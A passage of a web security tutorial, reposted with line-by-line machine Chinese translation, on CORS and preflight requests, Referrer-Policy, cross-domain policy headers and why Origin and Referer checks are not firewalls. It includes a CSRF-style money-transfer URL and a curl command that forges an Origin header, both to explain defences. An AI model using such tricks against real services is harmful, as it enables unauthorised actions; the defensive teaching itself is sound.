如果我們看一下github.com/odino/wasec/tree/master/cors上的示例,我們可以清楚地看到瀏覽器如何阻止訪問單獨來源的資源。 我已經設置了示例,以從test-cors
向test-cors-2
發出AJAX請求,并將操作結果打印到瀏覽器。 當指示test-cors-2
后面的服務器使用CORS時,頁面將按預期工作。 嘗試瀏覽至http://cors-test:7888/?cors=on
But when we remove the cors
parameter from the URL, the browser intervenes and prevents us from accessing the content of the response:
但是,當我們從URL中刪除cors
參數時,瀏覽器會干預并阻止我們訪問響應的內容:
An important aspect we need to understand is that the browser executed the request, but prevented the client from accessing it. This is extremely important, as it still leaves us vulnerable if our request would have triggered any side effect on the server. Imagine, for example, if our bank would allow the transfer of money by simply calling the url my-bank.com/transfer?amount=1000&from=me&to=attacker
. That would be a disaster!
我們需要了解的一個重要方面是瀏覽器執行了請求,但阻止了客戶端訪問它。 這非常重要,因為如果我們的請求會觸發服務器的任何副作用,它仍然使我們容易受到攻擊。 例如,想象一下,如果我們的銀行允許通過簡單地調用URL my-bank.com/transfer?amount=1000&from=me&to=attacker
來允許轉帳。 那將是一場災難!
As we’ve seen at the beginning of this article, GET
requests are supposed to be idempotent, but what would happen if we tried triggering a POST
request? Luckily, I’ve included this scenario in the example, so we can try it by navigating to http://cors-test:7888/?method=POST
:
正如我們在本文開頭所看到的, GET
請求應該是冪等的,但是如果我們嘗試觸發POST
請求會發生什么呢? 幸運的是,我在示例中包含了這種情況,因此我們可以通過導航到http://cors-test:7888/?method=POST
來進行嘗試:
Instead of directly executing our POST
request, which could potentially cause some serious trouble on the server, the browser sent a “preflight” request. This is nothing but an OPTIONS
request to the server, asking it to validate whether our origin is allowed. In this case, the server did not respond positively, so the browser stops the process, and our POST
request never reaches the target.
瀏覽器發送了一個“預檢”請求,而不是直接執行我們的POST
請求(這可能會導致服務器出現嚴重問題)。 這不過是對服務器的OPTIONS
請求,它要求服務器驗證是否允許我們的來源。 在這種情況下,服務器沒有做出積極響應,因此瀏覽器停止了該過程,并且我們的POST
請求從未到達目標。
This tells us a couple things:
這告訴我們幾件事:
- CORS is not a simple specification. There are quite a few scenarios to keep in mind and you can easily get tangled in the nuances of features such as preflight requests. CORS不是一個簡單的規范。 有很多情況需要牢記,并且您可以輕松地了解預檢請求等功能的細微差別。
Never expose APIs that change state via
GET
. An attacker can trigger those requests without a preflight request, meaning there’s no protection at all切勿公開通過
GET
更改狀態的API。 攻擊者可以在沒有預檢請求的情況下觸發這些請求,這意味著根本沒有保護措施
Out of experience, I found myself more comfortable with setting up proxies that can forward the request to the right server, all on the backend, rather than using CORS. This means that your application running at example.com
can setup a proxy at example.com/_proxy/other.com
, so that all requests falling under _proxy/other.com/*
get proxied to other.com
.
根據經驗,我發現自己更適合設置代理,這些代理可以將請求轉發到正確的服務器(全部在后端),而不是使用CORS。 這意味著,在運行你的應用程序example.com
可以將安裝在代理example.com/_proxy/other.com
,使落入下所有請求_proxy/other.com/*
獲得代理到other.com
。
I will conclude my overview of this feature here but, if you’re interested in understanding CORS in depth, MDN has a very lengthy article that brilliantly covers the whole specification at developer.mozilla.org/en-US/docs/Web/HTTP/CORS.
我將在此處結束對此功能的概述,但是,如果您有興趣深入了解CORS,則MDN在developer.mozilla.org/en-US/docs/Web/HTTP上有一篇冗長的文章,精講了整個規范。 / CORS 。
X允許跨域策略 (X-Permitted-Cross-Domain-Policies)
Very much related to CORS, the X-Permitted-Cross-Domain-Policies
targets cross domain policies for Adobe products (namely Flash and Acrobat).
X-Permitted-Cross-Domain-Policies
與CORS非常相關,其目標是Adobe產品(即Flash和Acrobat)的跨域策略。
I won’t go much into the details, as this is a header that targets very specific use cases. Long story short, Adobe products handle cross-domain request through a crossdomain.xml
file in the root of the domain the request is targeting, and the X-Permitted-Cross-Domain-Policies
defines policies to access this file.
我不會詳細介紹,因為這是針對特定用例的標頭。 簡而言之,Adobe產品通過請求所針對的域的根中的crossdomain.xml
文件處理跨域請求,并且X-Permitted-Cross-Domain-Policies
定義了訪問此文件的策略。
Sounds complicated? I would simply suggest to add an X-Permitted-Cross-Domain-Policies: none
and ignore clients wanting to make cross-domain requests with Flash.
聽起來復雜嗎? 我只是建議添加一個X-Permitted-Cross-Domain-Policies: none
,忽略要使用Flash進行跨域請求的客戶端。
推薦人政策 (Referrer-Policy)
At the beginning of our careers, we all probably made the same mistake. Use the Referer
header to implement a security restriction on our website. If the header contains a specific URL in a whitelist we define, we’re going to let users through.
在我們職業生涯的開始,我們可能都犯了同樣的錯誤。 使用Referer
標頭在我們的網站上實施安全限制。 如果標題在我們定義的白名單中包含特定的URL,我們將讓用戶通過。
Ok, maybe that wasn’t every one of us. But I damn sure made this mistake back then. Trusting the Referer
header to give us reliable information on the origin the user comes from. The header was really useful until we figured that sending this information to sites could pose a potential threat to our users’ privacy.
好吧,也許不是我們每個人。 但是我該死的確實犯了這個錯誤。 信任Referer
標頭可為我們提供有關用戶來源的可靠信息。 標頭確實很有用,直到我們發現將這些信息發送到網站可能會對用戶的隱私構成潛在威脅。
Born at the beginning of 2017 and currently supported by all major browsers, the Referrer-Policy
header can be used to mitigate these privacy concerns by telling the browser that it should only mask the URL in the Referer
header, or omit it altogether.
Referrer-Policy
標頭誕生于2017年初,目前受到所有主要瀏覽器的支持,可通過告訴瀏覽器它僅應屏蔽Referer
標頭中的URL或完全將其忽略,來緩解這些隱私問題。
Some of the most common values the Referrer-Policy
can take are:
Referrer-Policy
可以采用的一些最常見的值是:
no-referrer
: theReferer
header will be entirely omittedno-referrer
:Referer
標頭將被完全省略origin
: turnshttps://example.com/private-page
tohttps://example.com/
origin
:將https://example.com/private-page
更改為https://example.com/
same-origin
: send theReferer
to same-site origins but omit it for anyone elsesame-origin
:將Referer
來源網址發送到同一站點,但其他任何人都將其省略
It’s worth noting that there are a lot more variations of the Referrer-Policy
(strict-origin
, no-referrer-when-downgrade
, etc) but the ones I mentioned above are probably going to cover most of your use cases. If you wish to better understand each and every variation you can use, I would recommend heading to the OWASP dedicated page.
值得注意的是, Referrer-Policy
還有很多變體( strict-origin
, no-referrer-when-downgrade
等),但是我上面提到的那些可能會覆蓋您的大多數用例。 如果您希望更好地理解可以使用的每種變體,建議您轉到OWASP專用頁面 。
The Origin
header is very similar to the Referer
, as it’s sent by the browser in cross-domain requests to make sure the caller is allowed to access a resource on a different domain. The Origin
header is controlled by the browser, so there’s no way malicious users can tamper with it. You might be tempted to use it as a firewall for your web application: if the Origin
is in our whitelist, let the request go through.
Origin
標頭與Referer
非常相似,因為它是瀏覽器在跨域請求中發送的,以確保允許調用者訪問其他域上的資源。 Origin
標頭由瀏覽器控制,因此惡意用戶無法篡改它。 您可能會想將它用作Web應用程序的防火墻:如果Origin
在我們的白名單中,請讓請求通過。
One thing to consider, though, is that other HTTP clients such as cURL can present their own origin: a simple curl -H "Origin: example.com" api.example.com
will render all origin-based firewall rules inefficient… …and that is why you cannot rely on the Origin
(or the Referer
, as we’ve just seen) to build a firewall to keep malicious clients away.
不過,要考慮的一件事是其他HTTP客戶端(例如cURL)也可以提供自己的來源:一個簡單的curl -H "Origin: example.com" api.example.com
將使所有基于來源的防火墻規則效率低下…………并且這就是為什么您不能依靠Origin
(或我們剛剛看到的Referer
)來構建防火墻來阻止惡意客戶端的原因。
測試您的安全狀態 (Testing your security posture)
I want to conclude this article with a reference to securityheaders.com, an incredibly useful website that allows you to verify that your web application has the right security-related headers in place. After you submit a URL, you will be handed a grade and a breakdown, header by header. Here’s an example report for facebook.com:
我想在本文結尾引用securityheaders.com ,這是一個非常有用的網站,可讓您驗證您的Web應用程序是否已安裝正確的與安全相關的標題。 提交網址后,您將獲得一個標題和一個細目,一個標題一個標題。 這是facebook.com的示例報告 :
If in doubt on where to start, securityheaders.com is a great place to get a first assessment.
如果對從哪里開始有疑問,securityheaders.com是進行首次評估的好地方。
狀態HTTP:使用Cookie管理會話 (Stateful HTTP: managing sessions with cookies)
This article should have introduced us to a few interesting HTTP headers, allowing us to understand how they harden our web applications through protocol-specific features, together with a bit of help from mainstream browsers.
本文應該向我們介紹了一些有趣的HTTP標頭,使我們能夠了解它們如何通過特定于協議的功能來強化我們的Web應用程序,以及主流瀏覽器的一些幫助。
In the next post, we will delve deep into one of the most misunderstood features of the HTTP protocol: cookies.
在下一篇文章中 ,我們將深入研究HTTP協議最容易被誤解的功能之一:cookie。
Born to bring some sort of state to the otherwise stateless HTTP, cookies have probably been used (and misused) by each and everyone of us in order to support sessions in our web apps: whenever there’s some state we’d like to persist it’s always easy to say “store it in a cookie”. As we will see, cookies are not always the safest of vaults and must be treated carefully when dealing with sensitive information.
Cookie的誕生是為了給原本無狀態的HTTP帶來某種狀態,因此我們每個人都可能使用過Cookie(并濫用了它們),以支持Web應用程序中的會話:只要有某種狀態,我們想堅持下去,容易說“將其存儲在Cookie中”。 我們將看到,cookie并非始終是最安全的文件庫,在處理敏感信息時必須謹慎對待。
Originally published at odino.org (23 August 2018).You can follow me on Twitter — rants are welcome! ?
最初發布于odino.org (2018年8月23日)。 您可以在Twitter上關注我-歡迎咆哮! ?
翻譯自: https://www.freecodecamp.org/news/secure-your-web-application-with-these-http-headers-fd66e0367628/